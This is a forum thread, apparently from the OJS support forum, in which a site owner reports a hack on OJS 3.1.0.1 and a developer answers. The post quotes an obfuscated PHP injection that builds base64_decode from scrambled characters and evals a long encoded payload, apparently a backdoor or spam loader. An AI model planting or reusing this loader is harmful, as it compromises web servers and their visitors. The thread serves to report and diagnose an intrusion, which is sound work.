Vulnerability in OJS 3.1

The software is vulnerable to a hack. I found this chinese store in my site. Not sure how that is possible.

$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%66

37%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O

00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O0

0O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($

O00O0O("JE8wTzAwMD0iaFh6QWZVcWpSZXBHZ01aV3hibVFJZEpFaW5IeXJCdVZZRHZzS1NUTGFORkNsY3RvT2tQd0ZPeGVaa1loQXlwYXpxU0JMSW9EY05R

R0hqVmd0SkVDbXJNVWxXZlBLZFJYbndpdmJUdXN1cjlzS1ZlenJEdmRYSEFzbU9keE4yOWdTWGU5Y2ExVGRXRmVRUjlWQUNBSVEzSlRRMTBwYnMwbEtCbXZR

VkpGdzNkM0kzUVRjcjA5Y1h3M1NCRzBxZkRMZG9xM3FvazRkYW00ZGhrNW1mejJtZnEzbWhxc214dzNkZ3dweXMwbGNYZXpjWEFGU2FBWm0yOUVOYUNFTlhl

OWNHZVRPME5SQ1JVaklCUnNJb1JpU1dOTmJzMGxjWGV6Y1hBRm0zQXBJMjR6dVdKZVFSOVZBQ0FJUTJSaE5hbk1JSE5OYnMwbFhXQVRJMjFGS0I0enVXSmVR

UjlWQUNBSVEyQU1JQlJwSUhOTmJzMGxYQm5vbFhBVEkyMUZLQjRweXMwbFhEVFRLYTl4TlhlOWNYQVRJMjFGS0I0N3JEdlFaQkNVdzJDN3J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jN3RVMzQ1RtQjVqdzJDdm1PREVtMjlpUDIxRndhbkVTYUM0UGpGaUllMGxj

WGV6Y1hlemNYZXpjWGV6Y1hlemNhbm9sVmQwd29ueE5WY3ZTb25VU0M5alNPQVptMjlFTmFDRU5WcXZjWEFUbU9BRk8yNW5OZ1RVUTJOTUkyTlVTV3dwbE9V

ZFhIZXpjWGV6Y1hlemNYZXpjWGV6Y1hlemNYZXpTQmR2SWdlanVhUWd1bzl0dWFRZ3VIdzdyRHZ6Y1hlemNYZXp

Hi @johnostrowick,

Can you provide more information? Where did you find this, what version of OJS are you using, etc?

Thanks,
Alec Smecher
Public Knowledge Project Team

Hi. Thanks, 3.1.01.
I’ve done:

chmod 755 index.php

and for /var/www/ojs… as well. (Non recursive)

and

chown root:root index.php

Hi @johnostrowick,

This isn’t a problem you can fix by setting file permissions. However, see How should file permissions be set? for a relevant FAQ entry. See also this comment on your other post: [OJS 3.1.0.1] Error in php log customBlockManager

Regards,
Alec Smecher
Public Knowledge Project Team